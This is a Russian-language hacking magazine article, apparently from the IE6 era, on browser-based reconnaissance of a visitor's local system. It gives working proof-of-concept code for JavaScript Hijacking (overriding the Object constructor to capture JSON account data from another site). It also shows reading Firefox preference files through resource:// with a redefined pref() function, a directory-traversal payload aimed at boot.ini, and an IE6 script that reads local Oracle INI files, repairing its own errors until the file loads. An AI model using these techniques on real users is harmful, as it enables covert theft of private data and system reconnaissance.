Содержание статьи
Прошлый выпуск был немного суховат, но сегодня я постараюсь исправиться. Вас ждет много чего интересного, мы будем читать настройки системы, информацию про установленное ПО и обновления системы. В общем? будет весело…
Все описанные примеры проверялись под IE6. Но концепт – работает. И при желании большую часть кода можно портировать для других браузеров.
Большинство Интернет-пользователей наивно верит в свою защищенность. Неоспоримо, что наличие брандмауэра и своевременная установка обновлений сыграют решающую роль в организации локальной безопасности. Но это никогда не останавливало опытных хакеров, ведь первым инструментом в борьбе за систему может стать сетевая разведка. Определив слабые места атакуемой системы, вероятность успешной атаки мы увеличим в несколько раз...
JS+CSS
Если посмотреть на такие, казалось бы, разные технологии как
JavaScript и Cascading Style Sheets - что между ними может быть общего? Например, вы хотите установить черный цвет фона для HTML-странички, это можно сделать как на скриптах, так и на стилях.
A. JavaScript
document.body.backgroundColor = “black”;
B. Cascading Style Sheets
body { background-color: black; }
Оба примера одинаковые по смыслу, но совершенно непохожи синтаксически. А представьте себе скрипты и стили, разные по смыслу и синтаксически, но записанные в одном файле. Каким должно быть содержание файла «web_hacks.jscss», чтобы заработал такой пример:
<link type="text/css" rel="stylesheet" href="web_hacks.jscss" /> <script type="text/javascript" language="jscript" src="web_hacks.jscss"> </script> <body> <h1>JS+CSS</h1><br> <button onclick="testit();">test it!</button> </body>
За решением далеко ходить не надо, достаточно обратиться к MSDN, разработчики от Microsoft давно
решили для себя эту проблему. При создании Microsoft Office
Live компания столкнулась с проблемой медленной загрузки их нового WEB-2.0-приложения. И после длительных поисков все же был найден способ объединения таких, казалось бы, разных форматов. Идея оказалась достаточно простой, надо было сделать
JavaScript, который будет «невидимый» согласно формату СSS, но рабочий со стороны спецификации JavaScript (и то же самое со стилями, только наоборот). И вскоре shivap опубликовал свое решение, основанное на комментировании отдельных блоков кода. В нашем случае чтобы заработал пример, исходник должен быть следующим:
<!-- /* function testit(){ alert("This is a test"); } <!-- */ <!-- body { background-color: Aqua; }
Согласно спецификации, HTML-комментарии работают в JavaScript и тоже исполняют роль комментариев. Следующие строчки идентичны для JavaScript-интерпретатора:
<!-- 1. Это HTML-комментарий (Закрытие не обязательно) --> // 2. Это JavaScript-комментарий /* 3. Это тоже JavaScript-комментарий */
Но если строка начинается с комментария 1, за которым идут варианты 2 или 3, то они игнорируются, поэтому в нашем случае функциональной частью JavaScript останется всего одна строка:
<!-- /* function testit(){ alert("This is a test"); } <!-- */ <!-- body { background-color: Aqua; }
С другой стороны, в СSS HTML-комментарии игнорируются, зато работают /*...*/, поэтому JavaScript остается заблокированным:
<!-- /* function testit(){ alert("This is a test"); } <!-- */ <!-- body { background-color: Aqua; }
К чему все это, спросите вы. Дело в том, что браузеры для управления доступом к ресурсам используют технологию «Same-Origin Policy». Это значит, что JavaScript на сайте www.usa.gov не может получить доступ к данным www.russia.gov (и наоборот), потому что у обеих страниц разные источники. И уж точно ни один, ни второй не имеет легального доступа к локальной системе. Впрочем, сохранив веб страницу и запустив ее локальную копию (с винчестера), такой доступ вам будет предоставлен. В дальнейшем мы продолжим тему контроля доступа в браузерах, а пока скажу, что она применяется не ко всем данным и имеет ряд исключений. Так, никто не мешает разместить на одном сайте изображение с другого, никто не запрещает также обмен CSS-кодом, или
JavaScript-модулями. Но из самих скриптов такой доступ заблокирован.
Итак, что же происходит, если на usa.gov подключены ресурсы стороннего сервера
russia.gov:
<!-- Это фрагмент страницы usa.gov --> [1] <img src=”http://russia.gov/putin.jpg”> [2] <link rel="stylesheet" href="http://russia.gov/russia_colors.css" /> [3] <script src=” http://russia.gov/push_red_button.js”></script>
На американском сайте появится фотография Путина, сам сайт окрасится в исконно русские цвета, и если кто-то зайдет на него, то сработает скрипт «нажатия красной кнопки». 🙂 Но где (теоретически) сработает запуск ракет? В России или в Штатах? Правильный ответ – в Штатах, при условии, что оба государства используют одинаковый стандарт для управления военными системами и имеют web-интерфейсы. А почему бы и нет, ведь львиная доля техники уже управляется через браузер.
Но если задуматься, сайт usa.gov безнаказанно получил ресурсы с russia.gov. Будьте уверены, хакеры уже давно заметили эту особенность браузеров и успешно используют
ее для кражи информации клиентов.
Эта техника основана на возможности обхода «Same-Origin Policy» с целью получения доступа к данным с чужого сервера. Впервые она была продемонстрирована в
атаке на почтовый сервис gMail. Небезызвестный руководитель отдела безопасности Yahoo! Еремиа Гроссман показал всему миру опасность комбинации
JSON и XmlHttpRequest. Если пользователь имел активную сессию на почтовом сервисе,
эксплоит с легкостью мог получить доступ к его контактной книге.
JavaScript Hijacking
Политика безопасности позволяет любому сайту подключать и исполнять в своем контексте
JavaScript любого другого сайта. Именно благодаря этому мы получили условия для существования web-2.0-приложений, которые могут взаимодействовать одновременно с множеством удаленных серверов. В то же время, для общения с единым сервером приложений принято использовать
XmlHttpRequest.
Вот как может быть организована коммуникация между клиентом и сервером в современном веб-приложении:
Приложение попадает к клиенту как обычный гипертекстовый документ. Весь дальнейший обмен данными происходит через XmlHttpRequest. Остается только под вопросом, в каком виде происходит передача этих данных. Изначально для этих целей использовался XML, но поскольку вся клиентская часть должна поставляться со стороны сервера, приходилось передавать очень большие объемы данных, и большинством разработчиков было принято решение перейти на более экономный формат
JavaScript Object Notation (JSON):
XML:
<user> <name>Administrator</name> <session mode=normal>235872982</session> </user>
JSON:
[{user : {name: ‘Administrator’, session: {mode: normal, value: 235872982}}}]
Перемены были восприняты позитивно, все стало работать быстрее, и к тому же парсировка данных больше не требовалась, поскольку они представляли собой полноценные объекты, единственное, что надо было сделать – это
eval().
Эксперты по безопасности тоже не могли пройти мимо нового детища. В принципе, такой формат дал возможность запрашивать информацию с сервера через подключения удаленных скриптов. Все оказалось проще простого:
Веб-сервис http://service.com/getInfo.php, реагирует на аргумент Type и возвращает нужные данные. Например:
А. http://service.com/getInfo.php?Type=AccountSettings
В. http://service.com/getInfo.php?Type=CreditCardInfo
Если раньше сервис возвращал XML, то данные можно было прочитать только через
XmlHttpRequest (доступ контролируется средствами «Same-Origin Policy»):
var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange= function() { if (xmlhttp.readyState==4) eval(xmlhttp.responseText); // здесь есть доступ к ответу сервера } xmlhttp.open("GET","http://service.com/getInfo.php?Type=AccountSettings",true); xmlhttp.send(null);
Новый формат JSON позволил осуществлять запросы через удаленное подключение скриптов (не контролируемое):
<script src=”http://service.com/getInfo.php?Type=AccountSettings”> </script> <!-- а здесь его нету -->
Модель JavaScript запрещает доступ к исходному коду таких скриптов, зато исполняет их в контексте сервера, сделавшего запрос. Получается, данные загружены, но как их найти?
[{user : {name: ‘Administrator’, session: {mode: normal, value: 235872982}}}]
В принципе, они содержат объект user, но проблема в том, что этот самый user – элемент массива безымянного. Нет имени – нет переменной! Но переопределение конструктора Object помогло решить проблему. Все поступившие данные превращаются интерпретатором JavaScript в объекты, поэтому новый конструктор позволил собирать полученную информацию:
<script> var objects = new Array(); function Object() { object.push(this); } </script> <script src=”http://service.com/getInfo.php?Type=AccountSettings”> </script>
В результате массив objects хранит в себе все данные, полученные от веб-сервиса. Советую к самостоятельному чтению
техническое описание атаки JavaScript Hijacking.
А мы возвращаемся, к локальной системе пользователя.
Firefox или клиент Oracle
Возможно, вы уже в недоумении, к чему все это. Прошу вас не беспокоится, сейчас все станет понятным. Ответьте, сколько файлов у вас в системе? А сколько форматов? А сколько скриптов? Как вы думаете: среди них найдутся такие, которые не в формате JavaScript, но синтаксически подходят, чтобы подключить их из веб-страницы?
Как первый пример, чтения данных из локальной системы, попытаемся получить default-настройки браузера Firefox. Они хранятся в директории с установленным браузером: c:\Program Files\Mozilla Firefox\greprefs\.
Это три файла конфигурации - all.js, security-prefs.js, xpinstall.js. Но все они написаны в одном формате – это скрипт:
pref("xpinstall.enabled", true); ... pref("security.ssl2.rc4_128", false); pref("security.ssl2.rc2_128", false);
Как вы видите, в них используется всего одна функция (внутренняя и недоступная из
HTML):
pref(переменная, значение);
В прошлом примере мы переопределяли Object, чтобы поймать создаваемые объекты. В данном случае
они не создаются, зато происходит вызов недоступной нам функции. Отлично, так почему бы нам не создать ее аналог, чтобы прочитать настройки:
<script> function pref(param,value){ document.write ("<b>"+param+"</b> = "+value+"<br>") }; </script> <script src="resource://gre/greprefs/security-prefs.js"></script> <script src="resource://gre/greprefs/all.js"></script>
Мы используем протокол resource:// , потому что в Firefox запрещен доступ к протоколу
file:// из веб - приложений. Обсуждение протокола
resource:// вы можете найти в Интернете.
Применяя технику Directory Traversal, можно все же получить доступ к любому файлу системы. Например, следующий код подключит файл
boot.ini:
<script src="resource://..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini"> </script>
Хоть нам и не подходит, поскольку не имеет синтаксиса
JavaScript. Но ведь он не единственный файл в системе, если у клиента установлен клиент Oracle, мы можем уточнить его версию. Нужная нам информация лежит в файле:
C:\oracle\install.platform [Platform] ID=912
Если клиент использует Internet Explorer, файл можно прочитать:
<script src="file:///c:/oracle/install.platform"></script>
Но первое, с чем мы сталкиваемся – это ошибка «Platform – определение отсутствует». Поэтому, чтобы скрипт заработал, необходимо описать переменную Platform, и уже только после этого подключать файл настроек:
<script> Platform = {}; </script> <script src="file:///c:/oracle9i/install.platform"></script> <button onclick="alert(ID);">Get Oracle Version</button>
На этот раз все должно пройти без проблем, и вы с легкостью узнаете версию ПО. Если вы заметили, install.platform имеет формат INI-файла. Это наталкивает на мысль, что таким образом можно читать остальные INI-файлы системы. Но это не всегда так, часть INI-файлов не может быть прочитана. Зато такие ошибки несуществующих переменных в IE6 можно исправлять автоматически:
<script> var iniFile = ""; var iniFileLoaded = false; // максимальное количество попыток // (если формат нечитабельный, без лимита можно зациклиться) var iniFileErrorsLimit = 10; function reloadIniFile() // попытка подключить скрипт { // очень много ошибок, // останавливаемся, чтобы не повесить браузер: if( iniFileErrorsLimit == 0 ) return; iniFileLoaded = true; document.write("<script src='"+iniFile+"'></scr"+"ipt>"); } function loadIniFile(file) // функция инициализации: { iniFile = file; reloadIniFile(); } // если произошла ошибка загрузки window.onerror = function( text, file, line ) { iniFileErrorsLimit--; // еще одна ошибка iniFileLoaded = false; // файл не загружен // узнаем, какой переменной не хватает: variable_name = text.substring(1, text.lastIndexOf("\"") ); // создаем ее eval( variable_name + "={};" ); // попытка повторно подключить скрипт reloadIniFile(); } // читаем настройки Oracle loadIniFile("file:///c:/oracle/install.platform"); function showOracleId() { if( !iniFileLoaded ) { // нет информации, от ошибок мы не избавились alert( "File not loaded" ); } else { // все ОК, вот версия ПО: alert( "Oracle ID = " + ID); } } </script> <button onclick="showOracleId();">Get Oracle Version</button>
Используя этот код, хакер получает более высокие шансы на успешное чтение локального файла. Дело в том, что если в скрипте (в данном случае в INI-файле) есть хотя бы одна ошибка, обработка содержимого прекращается. Поскольку данные в настроечных файлах могут меняться, атакующий не всегда будет в состоянии заранее описать все возможные переменные. А этот пример показывает, как скрипт может самостоятельно исправлять ошибки, чтобы в результате успешно прочитать файл настроек.
Ссылки:
1. MSDN, Combine CSS with JS and make it into a single download!
http://blogs.msdn.com/shivap/archive/2007/05/01/combine-css-with-js-and-make-it-into-a-single-download.aspx
2. Jeremiah Grossman, Advanced Web attack techniques
http://jeremiahgrossman.blogspot.com/2006/01/advanced-Web-attack-techniques-using.html
3. Fortify Software, JavaScript Hijacking
http://www.fortifysoftware.com/security-resources/javascripthijacking.jsp
4. Sergey Vzloman, Read Firefox Settings (PoC)
http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/